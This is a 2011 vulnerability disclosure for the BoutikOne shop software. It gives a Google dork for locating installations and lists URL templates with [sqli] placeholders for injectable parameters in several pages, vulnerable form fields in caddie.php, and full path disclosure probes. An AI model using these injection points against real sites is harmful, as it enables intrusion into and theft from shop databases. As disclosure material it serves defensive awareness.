BoutikOne Multiple SQL Injections

`- BoutikOne -  
Multiples SQL Injection Vulnerability  
  
RELEASE DATE : 13.03.2011  
by Alz <cdx[dot]security[at]gmail[dot]com  
  
[-] Google Dork: "Powered by BoutikOne"  
  
[-> categorie.php] Var <path> :  
http://[target]/categories.php?path=[sqli]  
  
[-> list.php] Var <path> :  
http://[target]/list.php?path=[sqli]  
  
[-> description.php] Var <id> :  
http://[target]/description.php?id=[sqli]  
  
[-> description.php] Var <path> :  
http://[target]/description.php?id=[id]&path=[sqli]  
  
[-> search.php] Var <advCat> :  
http://[target]/search.php?advCat=[sqli]  
  
[-> search.php] Var <advComp> :  
http://[target]/search.php?advComp=[sqli]  
  
[-] RSS Folder:  
  
[-> rss_news.php] Var <lang> :  
http://[target]/rss/rss_news.php?lang=[sqli]  
  
[-> rss_flash.php] Var <lang> :  
http://[target]/rss/rss_flash.php?lang=[sqli]  
  
[-> rss_promo.php] Var <lang> :  
http://[target]/rss/rss_promo.php?lang=[sqli]  
  
[-> rss_top10.php] Var <lang> :  
http://[target]/rss/rss_top10.php?lang=[sqli]  
  
[-> caddie.php] Multiples FORM Vulnerability  
  
[-] SLQ Injection in <codePromo>  
<input name="codePromo" size="12" type="text">  
  
[-] SLQ Injection in <codeCadeau>  
<input name="codeCadeau" size="15" type="text">  
  
[-] SLQ Injection in <country>  
<select name="country">  
  
[-] Full PATH Disclosure:  
  
[-> page_box.php] Var <module> :  
http://[target]/page_box.php?module=%27  
  
[-> page_box.php] Var <lang> :  
http://[target]/page_box.php?lang=%27  
  
[-> list.php] Var <target> :  
http://[target]/list.php?target=%27  
  
[-] Greetz to Darksky & litame  
  
Contact at #hackbbs @ irc.2600.net  
  
Enjoy.  
  
Alz.  
`